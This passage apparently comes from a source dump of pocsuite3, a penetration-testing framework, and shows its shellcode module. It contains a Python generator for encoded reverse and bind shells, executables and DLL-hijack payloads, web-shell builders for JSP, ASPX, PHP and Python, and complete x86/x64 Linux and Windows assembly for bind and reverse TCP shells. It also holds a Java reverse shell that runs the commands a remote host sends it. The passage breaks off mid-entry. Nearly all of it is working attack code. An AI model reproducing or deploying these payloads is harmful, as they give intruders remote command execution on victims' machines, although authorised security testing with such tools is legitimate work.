shell_args={},\n                         use_precompiled=True):\n        \"\"\"\n        Function for create shellcode.\n        :param _shellcode_type: (string) Can be \"reverse\" or \"bind\".\n        :param command: (string) Command for Windows command-shellcode.\n        :param message: (string) Message for \"message\" for message-shellcode.\n        :param encode: (string) Encoder type. Can be \"xor\", \"alphanum\", \"rot_13\", \"fnstenv\" or \"jumpcall\". If empty shellcode will not be encoded.\n        :param make_exe: (bool) or (int) If True(or 1) exe file will be generated from shellcode.\n        :param debug: (bool) or (int) If True(or 1) shellcode will be printed to stdout.\n        :param filename: (string) Used for assign special name to executable or dll shellcode.\n        :param dll_inj_funcs: (list of strings) Functions names for dll hijacking. If not empty dll with shellcode will be generated.\n        :param cloud_generate (bool) Used for generate shellcode on cloud server.\n        :return: (string) Generated shellcode.\n        \"\"\"\n        generator = ShellGenerator(self.OS_TARGET, self.OS_TARGET_ARCH)\n        shellcode, self.binary_path = generator.get_shellcode(_shellcode_type,\n                                                              connectback_ip=self.CONNECTBACK_IP,\n                                                              connectback_port=self.CONNECTBACK_PORT,\n                                                              make_exe=make_exe,\n                                                              debug=debug,\n                                                              filename=filename,\n                                                              dll_inj_funcs=dll_inj_funcs,\n                                                              shell_args=shell_args,\n                                                              use_precompiled=use_precompiled)\n        if encode:\n            if debug:\n                logger.debug(\"[] Encode shellcode is on and started\")\n            e = CodeEncoders(self.OS_SYSTEM, self.OS_TARGET, self.OS_TARGET_ARCH, self.BADCHARS)\n            e_shellcode = e.encode_shellcode(shellcode, encode, debug)\n\n            if debug:\n                logger.debug(\"Length of encoded shellcode: %d\" % len(e_shellcode))\n                logger.debug(\"[] Encode shellcode finished\")\n            if e_shellcode:\n                shellcode = e_shellcode\n        else:\n            if debug:\n                logger.debug(\"[] Encode shellcode is off\")\n        return shellcode\n\n    def get_exe_path(self):\n        if os.path.exists(self.binary_path + \".exe\"):\n            return os.path.normpath(self.binary_path + \".exe\")\n        return None\n\n    def get_dll_path(self):\n        if os.path.exists(self.binary_path + \".dll\"):\n            return os.path.normpath(self.binary_path + \".dll\")\n        return None\n\n\nclass WebShell:\n    def __init__(self, connect_back_ip='localhost', connect_back_port=5555):\n        \"\"\"\n        Class for generating shells for jsp, aspx, python, php\n        :param connect_back_ip: (string) Ip address of machine with enabled shell listener\n        :param connect_back_port: (int) Port where listener listen to connection.\n        \"\"\"\n        self.CONNECTBACK_IP = connect_back_ip\n        self.CONNECTBACK_PORT = connect_back_port\n\n    def create_shellcode(self, shell_type, inline=False):\n        \"\"\"\n        Creates shellcode of given type\n        :param type: (string) aspx, jar, jsp, python, php\n        :param inline: (bool) If True all symbols \\r, \\n, \\t will be removed from shellcode\n        :return: (string) Generated shellcode\n        \"\"\"\n        if shell_type == SHELLCODE_TYPE.JSP:\n            shell = JavaShellCode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT, shell_type=SHELLCODE_TYPE.JSP)\n        elif shell_type == SHELLCODE_TYPE.JAR:\n            shell = JavaShellCode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT, shell_type=SHELLCODE_TYPE.JAR, make_jar=1)\n        elif shell_type == SHELLCODE_TYPE.ASPX:\n            shell = AspxShellCode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT)\n        elif shell_type == SHELLCODE_TYPE.PYTHON:\n            shell = PythonShellCode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT)\n        elif shell_type == SHELLCODE_TYPE.PHP:\n            shell = PhpShellCode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT)\n        else:\n            print(\"There is no shellcode of type: {}\".format(type))\n            return \"\"\n        shellcode = shell.get_shellcode(inline)\n        return shellcode, shell\n\n\nif __name__ == \"__main__\":\n    # Example of generating shellcode for Linux/Windows\n    print(\"[] Generate shellcode started\")\n\n    BADCHARS = [\"\\x00\", \"\\x0a\", \"\\x0d\", \"\\x3b\"]\n\n    os_target = OS.LINUX\n    os_target_arch = OS_ARCH.X86\n    s = OSShellcodes(os_target, os_target_arch, '192.168.1.9', 4443, BADCHARS)\n    dll_funcs = [\"pcap_findalldevs\", \"pcap_close\", \"pcap_compile\", \"pcap_datalink\", \"pcap_datalink_val_to_description\",\n                 \"pcap_dump\", \"pcap_dump_close\", \"pcap_dump_open\", \"pcap_file\", \"pcap_freecode\", \"pcap_geterr\",\n                 \"pcap_getevent\", \"pcap_lib_version\", \"pcap_lookupdev\", \"pcap_lookupnet\", \"pcap_loop\", \"pcap_open_live\",\n                 \"pcap_open_offline\", \"pcap_setfilter\", \"pcap_snapshot\", \"pcap_stats\"]\n\n    shellcode_type = 'bind'\n    shellcode = s.create_shellcode(\n        shellcode_type,\n        encode='',\n        make_exe=1,\n        debug=1,\n        # dll_inj_funcs=dll_funcs,\n        filename=shellcode_type,\n        # use_precompiled=False\n    )\n    # print(shellcode)\n    print(\"[] Generate shellcode finished\")\n"
  },
  {
    "path": "pocsuite3/shellcodes/base.py",
    "content": "\n\nclass ShellCode:\n    def __init__(self, os_target='', os_target_arch='', connect_back_ip='localhost', connect_back_port=5555,\n                 bad_chars=[], prefix='', suffix=''):\n        self.os_target = os_target\n        self.os_target_arch = os_target_arch\n        self.connect_back_ip = connect_back_ip\n        self.connect_back_port = connect_back_port\n        self.bad_chars = bad_chars\n        self.prefix = prefix\n        self.suffix = suffix\n        self.name = ''\n\n    def format_shellcode(self, code):\n        if isinstance(code, str):\n            code = code.replace('{{LOCALHOST}}', self.connect_back_ip)\n            code = code.replace('{{LOCALPORT}}', str(self.connect_back_port))\n\n        return code\n\n    def get_shellcode(self, inline=False):\n        return ''\n\n    def make_inline(self, payload):\n        payload = payload.replace('\\t', ' ')\n        payload = payload.replace('\\r', ' ')\n        payload = payload.replace('\\n', ' ')\n        return payload\n"
  },
  {
    "path": "pocsuite3/shellcodes/data/java/src/ReverseTCP/Payload.java",
    "content": "package east;\n\nimport java.io.*;\nimport java.net.*;\n\npublic class Payload extends ClassLoader{\n\tprivate static String OS = System.getProperty(\"os.name\").toLowerCase();\n\tpublic static void main(String[] args) throws IOException {\t    \n\n\t    String[] data = parseFileContent(\"data.dat\");\n\t\tString host = data[0];\n\t\tint port = Integer.parseInt(data[1]);\n\t\tSocket socket = new Socket(host, port);\n\n\t    while (true) {\n\t\t\tBufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n\t\t\tPrintWriter out = new PrintWriter(socket.getOutputStream(), true);\n\t\t\tString command = br.readLine();\n\n\t\t\tif (command.equalsIgnoreCase(\"exit\")) break;\n\t\t    String res;\n\t\t    if (isWindows()) {\n\t\t\t    res = executeCommand(new String[]{\"cmd.exe\", \"/C\", command});\n\t\t\t}\n\t\t\t// TODO write handler for other OS\n\t\t\telse\n\t\t\t\tres = executeCommand(command.split(\" \"));\t\t\t\n\n\t\t\tout.println(res);\n\t\t}\n\t\tsocket.close();            \n\t}  \n\n\tpublic static String executeCommand(String[] command) {\n\n\t\tStringBuffer output = new StringBuffer();\n\t\tProcess p;\n\t\ttry {\n\t\t\tp = Runtime.getRuntime().exec(command);\n\t\t\tp.waitFor();\n\t\t\tBufferedReader reader = \n                            new BufferedReader(new InputStreamReader(p.getInputStream()));\n\n            String line = \"\";\t\t\t\n\t\t\twhile ((line = reader.readLine())!= null) {\n\t\t\t\toutput.append(line + \"\\n\");\n\t\t\t}\n\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn output.toString();\n\n\t}\n\n\tpublic static String[] parseFileContent(String path) {\n\t\tInputStream in = Payload.class.getResourceAsStream(path);\n\t\tBufferedReader reader = new BufferedReader(new InputStreamReader(in));\n        StringBuilder out = new StringBuilder();\n        String line;\n        try {\n\t        while ((line = reader.readLine()) != null) {\n\t            out.append(line);\n\t        }\n\t     \n\t        String text = out.toString();\n\t        reader.close();\n\t    } catch(IOException e) {\n\t    \tSystem.out.println(e.toString());\n\t    }\n\t    String text = out.toString();\n\t\treturn text.split(\";\");\t\n\t\t// return new String[]{};    \n\t}\n\n\tpublic static boolean isWindows() {\n        return (OS.indexOf(\"win\") >= 0);\n    }\n\n    public static boolean isUnix() {\n        return (OS.indexOf(\"nix\") >= 0 || OS.indexOf(\"nux\") >= 0 || OS.indexOf(\"aix\") > 0 );\n    }\n}\n\n"
  },
  {
    "path": "pocsuite3/shellcodes/data/linux/src/bind_tcp.asm",
    "content": "global _start\n\nsection .text\n_start:\n\tpush 0x66\n\tpop eax\n\tpush 0x1\n\tpop ebx\n\txor esi, esi\n\tpush esi\n\tpush ebx\n\tpush 0x2\n\tmov ecx, esp\n\tint 0x80\n\tpop edi\n\txchg edi, eax\n\txchg ebx, eax\n\tmov al, 0x66\n\tpush esi\n\tpush word 0xBIND_PORT ;port\n\tpush word bx\n\tmov ecx, esp\n\tpush 0x10\n\tpush ecx\n\tpush edi\n\tmov ecx, esp\n\tint 0x80\n\tmov al, 0x66\n\tmov bl, 0x4\n\tpush esi\n\tpush edi\n\tmov ecx, esp\n\tint 0x80\n\tmov al, 0x66\n\tinc ebx\n\tpush esi\n\tpush esi\n\tpush edi\n\tmov ecx, esp\n\tint 0x80\n\tpop ecx\n\tpop ecx\n\tmov cl, 0x2\n\txchg ebx,eax\nloop:\n\tmov al, 0x3f\n\tint 0x80\n\tdec ecx\n\tjns loop\n\tmov al, 0x0b\n\tpush 0x68732f2f\n\tpush 0x6e69622f\n\tmov ebx, esp\n\tinc ecx\n\tmov edx, ecx\n\tint 0x80"
  },
  {
    "path": "pocsuite3/shellcodes/data/linux/src/reverse_tcp.asm",
    "content": "BITS 32\n\nglobal _start\n\n_start:\n    ;    =============================== SOCKET =====================================\n    ;    socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3\n    ;\n    ;    int socket(int domain, int type, int protocol);\n    ;\n    ;    int socketcall(int call, unsigned long *args)\n    ;    socketcall    SYS_SOCKET      socket() args\n    ;    EAX           EBX             ECX\n    ;    102           1               (2, 1, 6)\n    ;\n    ;    SYS_SOCKET will return file descriptor (fd) in EAX.\n\n    ; EAX\n    xor eax, eax\n    mov al, 102             ; socketcall\n\n    ; EBX\n    xor ebx, ebx\n    mov bl, 1               ; SYS_SOCKET socket()\n\n    ; ECX\n    xor ecx, ecx\n    push ecx\n    push BYTE 6             ; IPPROTO_TCP   ||      int protocol);\n    push BYTE 1             ; SOCK_STREAM   ||      int type,\n    push BYTE 2             ; AF_INET       || socket(int domain,\n    mov ecx, esp            ; ECX - PTR to arguments for socket()\n    int 0x80                ; sockfd will be stored in EAX after this call\n\n    ; EAX return\n    mov esi, eax            ; save socket fd in ESI for later\n\n    ;\n    ; =============================== CONNECT =====================================\n    ;\n    ; connect(\n    ;   3,\n    ;   {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr(\"127.0.0.1\")},\n    ;   16\n    ; ) = -1 EINPROGRESS (Operation now in progress)\n    ;\n    ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);\n    ;\n\n    jmp short call_get_ip_and_port\n\nback2shellcode:\n    pop edi                 ; getting ip and port address from ESP\n\n    ; EAX\n    xor eax, eax\n    mov al, 102             ; socketcall\n\n    ; EBX\n    xor ebx, ebx\n    mov bl, 3               ; SYS_CONNECT connect()\n\n    ; ECX\n    xor edx, edx\n    ;    push edx                ; 0.0.0.0 - ALL interfaces\n    ;    push DWORD 0x0100007f   ; 127.0.0.1 in reverse  *** CONTAINS NULLs ! ***\n    ;    push DWORD 0x0101a8c0   ; 192.168.1.1 in reverse\n    push DWORD [edi]    ; push IP\n    push WORD [edi+0x4] ; push port\n    dec ebx                     ; decrease bl from 3 to 2 to use it in the next push\n    push WORD bx                ; 2 - AF_INET\n    inc ebx                     ; put back bl to 3 for SYS_CONNECT\n    mov ecx, esp                ; ptr to struct sockaddr\n\n    push BYTE 16                ;   socklen_t addrlen);\n    push ecx                    ;   const struct sockaddr *addr,\n    push esi                    ; connect(int sockfd,\n    mov ecx, esp                ; ECX = PTR to arguments for connect()\n    int 0x80                    ; sockfd will be in EBX\n\n    ;\n    ; =============================== DUP FD =====================================\n    ;\n    ; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)\n    ; to a client. For this, we can dup2 syscall to duplicate a file descriptor.\n    ; man 2 dup2\n    ; int dup2(int oldfd,           int newfd);\n    ; EAX,          EBX,            ECX\n    ; 63            sockfd          0\n    ; 63            sockfd          1\n    ; 63            sockfd          2\n    ;\n\n    ; move our sockfd to EAX\n    mov eax, ebx\n\n    xor eax, eax\n    mov al, 63              ; dup2 syscall\n    xor ecx, ecx            ; 0 - stdin\n    int 0x80                ; call dup2(sockfd, 0)\n\n    mov al, 63              ; dup2 syscall\n    mov cl, 1               ; 1 - stdout\n    int 0x80                ; call dup2(sockfd, 1)\n\n    mov al, 63              ; dup2 syscall\n    mov cl, 2               ; 2 - stderr\n    int 0x80                ; call dup2(sockfd, 2)\n\n    ;\n    ; =============================== EXECVE =====================================\n    ;\n    ; Now as we forwarded sockfd to a client, we can spawn shell.\n    ; Prepare the path, in little-endian, using the Python\n    ; >>> '//bin/sh'[::-1].encode('hex')\n    ; '68732f6e69622f2f'\n    ;\n    ; int execve(const char *filename, char *const argv[], char *const envp[]);\n    ; EAX           EBX,                    ECX,            EDX\n    ; 11            '//bin/sh'              PTR to EBX      NULL\n\n    ; EAX\n    xor eax, eax\n    mov al, 11              ; execve syscall\n\n    ; EBX\n    xor edx, edx\n    push edx                ; NULL termination of '//bin/sh' string\n    push 0x68732f6e         ; '//bin/sh' in reverse\n    push 0x69622f2f         ; beginning of '//bin/sh' string is here\n    mov ebx, esp            ; put the address of '//bin/sh' into ebx via esp\n\n    ; ECX\n    push edx                ; NULL termination of a stack\n    push ebx                ; load our '//bin/sh' on a stack\n    mov ecx, esp            ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.\n\n    ; EDX\n    push edx                ; NULL terminator\n    mov edx, esp            ; EDX is a PTR to a stack which has an address to NULL.\n    int 0x80                ; call execve(EBX, ECX, EDX)\n\ncall_get_ip_and_port:\n    call back2shellcode\n\n    ;    dd 0x0101a8c0                  ; Example: DWORD 192.168.1.1 reverse (in hex)\n    ;    db 0xc0, 0xa8, 0x01, 0x01      ; Example: BYTE 192.168.1.1 straight (in hex)\n    dd 0xCONNECTBACK_IP\n\n    ;    dw 0x4530                      ; Example: WORD 12357 reverse (in hex)\n    ;    db 0x30, 0x45                  ; Example: BYTE 12357 straight (in hex)\n    dw 0xCONNECTBACK_PORT"
  },
  {
    "path": "pocsuite3/shellcodes/data/linux/x64/src/bind_tcp.asm",
    "content": "BITS 64\nglobal _start\nsection .text\n\n_start:\n    push   0x29\n    pop    rax\n    cdq\n    push   0x2\n    pop    rdi\n    push   0x1\n    pop    rsi\n    syscall\n    push rax\n    pop rdi\n    push rdx\n    push rdx\n    mov byte [rsp], 0x2\n    mov word [rsp + 0x2], 0xBIND_PORT\n    push rsp\n    pop rsi\n    push rdx\n    push 0x10\n    pop rdx\n    push 0x31\n    pop rax\n    syscall\n    pop rsi\n    mov al, 0x32\n    syscall\n    mov al, 0x2b\n    syscall\n    push rax\n    pop rdi\n    push 0x3\n    pop rsi\ndupe_loop:\n    dec esi\n    mov al, 0x21\n    syscall\n    jne dupe_loop\n    push rsi\n    pop rdx\n    push rsi\n    mov rdi, '//bin/sh'\n    push rdi\n    push rsp\n    pop rdi\n    mov al, 0x3b\n    syscall"
  },
  {
    "path": "pocsuite3/shellcodes/data/linux/x64/src/reverse_tcp.asm",
    "content": "BITS 64\nglobal _start\n\n; settings\n;IP          equ 0x0100007f  ; default 127.0.0.1, contains nulls so will need mask\nIP      equ 0xCONNECTBACK_IP\n;PORT        equ 0x5c11      ; default 4444\nPORT        equ 0xCONNECTBACK_PORT\n\n; syscall kernel opcodes\nSYS_SOCKET  equ 0x29\nSYS_CONNECT equ 0x2a\nSYS_DUP2    equ 0x21\nSYS_EXECVE  equ 0x3b\n\n; argument constants\nAF_INET     equ 0x2\nSOCK_STREAM equ 0x1\n\n_start:\n; High level psuedo-C overview of shellcode logic:\n;\n; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)\n;\n; struct sockaddr = {AF_INET; [PORT; IP; 0x0]}\n;\n; connect(sockfd, &sockaddr, 16)\n;\n; dup2(sockfd, STDIN+STDOUT+STDERR)\n; execve(\"/bin/sh\", NULL, NULL)\n\ncreate_sock:\n    ; sockfd = socket(AF_INET, SOCK_STREAM, 0)\n    ; AF_INET = 2\n    ; SOCK_STREAM = 1\n    ; syscall number 41 \n\n    xor esi, esi        ; 0 out rsi\n    mul esi             ; 0 out rax, rdx\n\n                        ; rdx = IPPROTO_IP (int: 0)\n\n    inc esi             ; rsi = SOCK_STREAM (int: 1)\n\n    push AF_INET        ; rdi = AF_INET (int: 2)\n    pop rdi\n\n    add al, SYS_SOCKET\n    syscall\n\n    ; copy socket descriptor to rdi for future use \n\n    push rax\n    pop rdi\n\nstruct_sockaddr:\n    ; server.sin_family = AF_INET\n    ; server.sin_port = htons(PORT)\n    ; server.sin_addr.s_addr = inet_addr(\"127.0.0.1\")\n    ; bzero(&server.sin_zero, 8)\n\n    push rdx\n    push rdx\n\n    mov dword [rsp + 0x4], IP\n    mov word [rsp + 0x2], PORT\n    mov byte [rsp], AF_INET\n\nconnect_sock:\n    ; connect(sockfd, (struct sockaddr *)&server, sockaddr_len)\n\n    push rsp\n    pop rsi\n\n    push 0x10\n    pop rdx\n\n    push SYS_CONNECT\n    pop rax\n    syscall\n\ndupe_sockets:\n    ; dup2(sockfd, STDIN)\n    ; dup2(sockfd, STDOUT)\n    ; dup2(sockfd, STERR)\n\n    push 0x3                ; loop down file descriptors for I/O\n    pop rsi\n\ndupe_loop:\n    dec esi\n    mov al, SYS_DUP2\n    syscall\n\n    jne dupe_loop\n\nexec_shell:\n    ; execve('//bin/sh', NULL, NULL)\n\n    push rsi                    ; *argv[] = 0\n    pop rdx                     ; *envp[] = 0\n\n    push rsi                    ; '\\0'\n    mov rdi, '//bin/sh'         ; str\n    push rdi\n    push rsp\n    pop rdi                     ; rdi = &str (char*)\n\n    mov al, SYS_EXECVE          ; we fork with this syscall\n    syscall"
  },
  {
    "path": "pocsuite3/shellcodes/data/windows/src/bind_tcp.asm",
    "content": "BITS 32\n  cld\n  call start\napi_call:\n  pushad\n  mov ebp, esp\n  xor edx, edx\n  mov edx, [fs:edx+48]\n  mov edx, [edx+12]\n  mov edx, [edx+20]\nnext_mod:\n  mov esi, [edx+40]\n  movzx ecx, word [edx+38]\n  xor edi, edi\nloop_modname:\n  xor eax, eax\n  lodsb\n  cmp al, 'a'\n  jl not_lowercase\n  sub al, 0x20\nnot_lowercase:\n  ror edi, 13\n  add edi, eax\n  loop loop_modname\n  push edx\n  push edi\n  mov edx, [edx+16]\n  mov eax, [edx+60]\n  add eax, edx\n  mov eax, [eax+120]\n  test eax, eax\n  jz get_next_mod1\n  add eax, edx\n  push eax\n  mov ecx, [eax+24]\n  mov ebx, [eax+32]\n  add ebx, edx\nget_next_func:\n  jecxz get_next_mod\n  dec ecx\n  mov esi, [ebx+ecx*4]\n  add esi, edx\n  xor edi, edi\nloop_funcname:\n  xor eax, eax\n  lodsb\n  ror edi, 13\n  add edi, eax\n  cmp al, ah\n  jne loop_funcname\n  add edi, [ebp-8]\n  cmp edi, [ebp+36]\n  jnz get_next_func\n  pop eax\n  mov ebx, [eax+36]\n  add ebx, edx\n  mov cx, [ebx+2*ecx]\n  mov ebx, [eax+28]\n  add ebx, edx\n  mov eax, [ebx+4*ecx]\n  add eax, edx\nfinish:\n  mov [esp+36], eax\n  pop ebx\n  pop ebx\n  popad\n  pop ecx\n  pop edx\n  push ecx\n  jmp eax\nget_next_mod:\n  pop eax\nget_next_mod1:\n  pop edi\n  pop edx\n  mov edx, [edx]\n  jmp short next_mod\nstart:\n  pop ebp\nbind_tcp:\n  push 0x00003233\n  push 0x5F327377\n  push esp\n  push 0x0726774C\n  call ebp\n  mov eax, 0x0190\n  sub esp, eax\n  push esp\n  push eax\n  push 0x006B8029\n  call ebp\n  push eax\n  push eax\n  push eax\n  push eax\n  inc eax\n  push eax\n  inc eax\n  push eax\n  push 0xE0DF0FEA\n  call ebp\n  xchg edi, eax\n  xor ebx, ebx\n  push ebx\n  push 0xBIND_PORT0002 ;port\n  mov esi, esp\n  push byte 16\n  push esi\n  push edi\n  push 0x6737DBC2\n  call ebp\n  push ebx\n  push edi\n  push 0xFF38E9B7\n  call ebp\n  push ebx\n  push ebx\n  push edi\n  push 0xE13BEC74\n  call ebp\n  push edi\n  xchg edi, eax\n  push 0x614D6E75\n  call ebp\nshell:\n  push 0x00646D63\n  mov ebx, esp\n  push edi\n  push edi\n  push edi\n  xor esi, esi\n  push byte 18\n  pop ecx\npush_loop:\n  push esi\n  loop push_loop\n  mov word [esp + 60], 0x0101\n  lea eax, [esp + 16]\n  mov byte [eax], 68\n  push esp\n  push eax\n  push esi\n  push esi\n  push esi\n  inc esi\n  push esi\n  dec esi\n  push esi\n  push esi\n  push ebx\n  push esi\n  push 0x863FCC79\n  call ebp\n  mov eax, esp\n  dec esi\n  push esi\n  inc esi\n  push dword [eax]\n  push 0x601D8708\n  call ebp\nexitfunk:\n  mov ebx, 0x0A2A1DE0\n  push 0x9DBD95A6\n  call ebp\n  cmp al, byte 6\n  jl short goodbye\n  cmp bl, 0xE0\n  jne short goodbye\n  mov ebx, 0x6F721347\ngoodbye:\n  push byte 0\n  push ebx\n  call ebp"
  },
  {
    "path": "pocsuite3/shellcodes/data/windows/src/reverse_tcp.asm",
    "content": "global _start\n_start:\n\tcld\n\tcall main\n\tpusha\n\tmov ebp,esp\n\txor eax,eax\n\tmov edx,DWORD  [fs:eax+0x30]\n\tmov edx,DWORD  [edx+0xc]\n\tmov edx,DWORD  [edx+0x14]\nplace1:\n\tmov esi,DWORD  [edx+0x28]\n\tmovzx ecx,WORD  [edx+0x26]\n\txor edi,edi\nloop1:\n\tlodsb\n\tcmp al,0x61\n\tjl place2\n\tsub al,0x20\nplace2:\n\tror edi,0xd\n\tadd edi,eax\n\tloop loop1\n\tpush edx\n\tpush edi\n\tmov edx,DWORD  [edx+0x10]\n\tmov ecx,DWORD  [edx+0x3c]\n\tmov ecx,DWORD  [ecx+edx*1+0x78]\n\tjecxz place6\n\tadd ecx,edx\n\tpush ecx\n\tmov ebx,DWORD  [ecx+0x20]\n\tadd ebx,edx\n\tmov ecx,DWORD  [ecx+0x18]\nplace3:\n\tjecxz place5\n\tdec ecx\n\tmov esi,DWORD  [ebx+ecx*4]\n\tadd esi,edx\n\txor edi,edi\nplace4:\n\tlodsb\n\tror edi,0xd\n\tadd edi,eax\n\tcmp al,ah\n\tjne place4\n\tadd edi,DWORD  [ebp-0x8]\n\tcmp edi,DWORD  [ebp+0x24]\n\tjne place3\n\tpop eax\n\tmov ebx,DWORD  [eax+0x24]\n\tadd ebx,edx\n\tmov cx,WORD  [ebx+ecx*2]\n\tmov ebx,DWORD  [eax+0x1c]\n\tadd ebx,edx\n\tmov eax,DWORD  [ebx+ecx*4]\n\tadd eax,edx\n\tmov DWORD  [esp+0x24],eax\n\tpop ebx\n\tpop ebx\n\tpopa\n\tpop ecx\n\tpop edx\n\tpush ecx\n\tjmp eax\nplace5:\n\tpop edi\nplace6:\n\tpop edi\n\tpop edx\n\tmov edx,DWORD  [edx]\n\tjmp place1\nmain:\n\tpop ebp\n\tpush 0x3233\n\tpush 0x5f327377\n\tpush esp\n\tpush 0x726774c\n\tcall ebp\n\tmov eax,0x190\n\tsub esp,eax\n\tpush esp\n\tpush eax\n\tpush 0x6b8029\n\tcall ebp\n\tpush eax\n\tpush eax\n\tpush eax\n\tpush eax\n\tinc eax\n\tpush eax\n\tinc eax\n\tpush eax\n\tpush 0xe0df0fea\n\tcall ebp\n\txchg edi,eax\n\tpush 0x5\n\tpush 0xCONNECTBACK_IP    ;host\n\tpush 0xCONNECTBACK_PORT0002   ; port\n\tmov esi,esp\nplace7:\n\tpush 0x10\n\tpush esi\n\tpush edi\n\tpush 0x6174a599\n\tcall ebp\n\ttest eax,eax\n\tje place8\n\tdec DWORD  [esi+0x8]\n\tjne place7\n\tpush 0x56a2b5f0\n\tcall ebp\nplace8:\n\tpush 0x646d63\n\tmov ebx,esp\n\tpush edi\n\tpush edi\n\tpush edi\n\txor esi,esi\n\tpush 0x12\n\tpop ecx\nloop2:\n\tpush esi\n\tloop loop2\n\tmov WORD  [esp+0x3c],0x101\n\tlea eax,[esp+0x10]\n\tmov BYTE  [eax],0x44\n\tpush esp\n\tpush eax\n\tpush esi\n\tpush esi\n\tpush esi\n\tinc esi\n\tpush esi\n\tdec esi\n\tpush esi\n\tpush esi\n\tpush ebx\n\tpush esi\n\tpush 0x863fcc79\n\tcall ebp\n\tmov eax,esp\n\tdec esi\n\tpush esi\n\tinc esi\n\tpush DWORD  [eax]\n\tpush 0x601d8708\n\tcall ebp\n\tmov ebx,0x56a2b5f0\n\tpush 0x9dbd95a6\n\tcall ebp\n\tcmp al,0x6\n\tjl place9\n\tcmp bl,0xe0\n\tjne place9\n\tmov ebx,0x6f721347\nplace9:\n\tpush 0x0\n\tpush ebx\n\tcall ebp"
  },
  {
    "path": "pocsuite3/shellcodes/data/windows/x64/src/bind_tcp.asm",
    "content": "[BITS 64]\n  cld\n  and rsp, 0xFFFFFFFFFFFFFFF0\n  call start\napi_call:\n  push r9\n  push r8\n  push rdx\n  push rcx\n  push rsi\n  xor rdx, rdx\n  mov rdx, [gs:rdx+96]\n  mov rdx, [rdx+24]\n  mov rdx, [rdx+32]\nnext_mod:\n  mov rsi, [rdx+80]\n  movzx rcx, word [rdx+74]\n  xor r9, r9\nloop_modname:\n  xor rax, rax\n  lodsb\n  cmp al, 'a'\n  jl not_lowercase\n  sub al, 0x20\nnot_lowercase:\n  ror r9d, 13\n  add r9d, eax\n  loop loop_modname\n  push rdx\n  push r9\n  mov rdx, [rdx+32]\n  mov eax, dword [rdx+60]\n  add rax, rdx\n  cmp word [rax+24], 0x020B\n  jne get_next_mod1\n  mov eax, dword [rax+136]\n  test rax, rax\n  jz get_next_mod1\n  add rax, rdx\n  push rax\n  mov ecx, dword [rax+24]\n  mov r8d, dword [rax+32]\n  add r8, rdx\nget_next_func:\n  jrcxz get_next_mod\n  dec rcx\n  mov esi, dword [r8+rcx*4]\n  add rsi, rdx\n  xor r9, r9\nloop_funcname:\n  xor rax, rax\n  lodsb\n  ror r9d, 13\n  add r9d, eax\n  cmp al, ah\n  jne loop_funcname\n  add r9, [rsp+8]\n  cmp r9d, r10d\n  jnz get_next_func\n  pop rax\n  mov r8d, dword [rax+36]\n  add r8, rdx\n  mov cx, [r8+2*rcx]\n  mov r8d, dword [rax+28]\n  add r8, rdx\n  mov eax, dword [r8+4*rcx]\n  add rax, rdx\nfinish:\n  pop r8\n  pop r8\n  pop rsi\n  pop rcx\n  pop rdx\n  pop r8\n  pop r9\n  pop r10\n  sub rsp, 32\n  push r10\n  jmp rax\nget_next_mod:\n  pop rax\nget_next_mod1:\n  pop r9\n  pop rdx\n  mov rdx, [rdx]\n  jmp next_mod\nstart:\n  pop rbp\nbind_tcp:\n  mov r14, 'ws2_32'\n  push r14\n  mov r14, rsp\n  sub rsp, 408+8\n  mov r13, rsp\n  mov r12, 0x00000000BIND_PORT0002\n  push r12\n  mov r12, rsp\n  mov rcx, r14\n  mov r10d, 0x0726774C\n  call rbp\n  mov rdx, r13\n  push 0x0101\n  pop rcx\n  mov r10d, 0x006B8029\n  call rbp\n  push rax\n  push rax\n  xor r9, r9\n  xor r8, r8\n  inc rax\n  mov rdx, rax\n  inc rax\n  mov rcx, rax\n  mov r10d, 0xE0DF0FEA\n  call rbp\n  mov rdi, rax\n  push byte 16\n  pop r8\n  mov rdx, r12\n  mov rcx, rdi\n  mov r10d, 0x6737DBC2\n  call rbp\n  xor rdx, rdx\n  mov rcx, rdi\n  mov r10d, 0xFF38E9B7\n  call rbp\n  xor r8, r8\n  xor rdx, rdx\n  mov rcx, rdi\n  mov r10d, 0xE13BEC74\n  call rbp\n  mov rcx, rdi\n  mov rdi, rax\n  mov r10d, 0x614D6E75\n  call rbp\n  add rsp, ( (408+8) + (8*4) + (32*7) )\nshell:\n  mov r8, 'cmd'\n  push r8\n  push r8\n  mov rdx, rsp\n  push rdi\n  push rdi\n  push rdi\n  xor r8, r8\n  push byte 13\n  pop rcx\npush_loop:\n  push r8\n  loop push_loop\n  mov word [rsp+84], 0x0101\n  lea rax, [rsp+24]\n  mov byte [rax], 104\n  mov rsi, rsp\n  push rsi\n  push rax\n  push r8\n  push r8\n  push r8\n  inc r8\n  push r8\n  dec r8\n  mov r9, r8\n  mov rcx, r8\n  mov r10d, 0x863FCC79\n  call rbp\n  xor rdx, rdx\n  dec rdx\n  mov ecx, dword [rsi]\n  mov r10d, 0x601D8708\n  call rbp\nexitfunk:\n  mov ebx, 0x0A2A1DE0\n  mov r10d, 0x9DBD95A6\n  call rbp\n  add rsp, 40\n  cmp al, byte 6\n  jl short goodbye\n  cmp bl, 0xE0\n  jne short goodbye\n  mov ebx, 0x6F721347\ngoodbye:\n  push byte 0\n  pop rcx\n  mov r10d, ebx\n  call rbp"
  },
  {
    "path": "pocsuite3/shellcodes/data/windows/x64/src/reverse_tcp.asm",
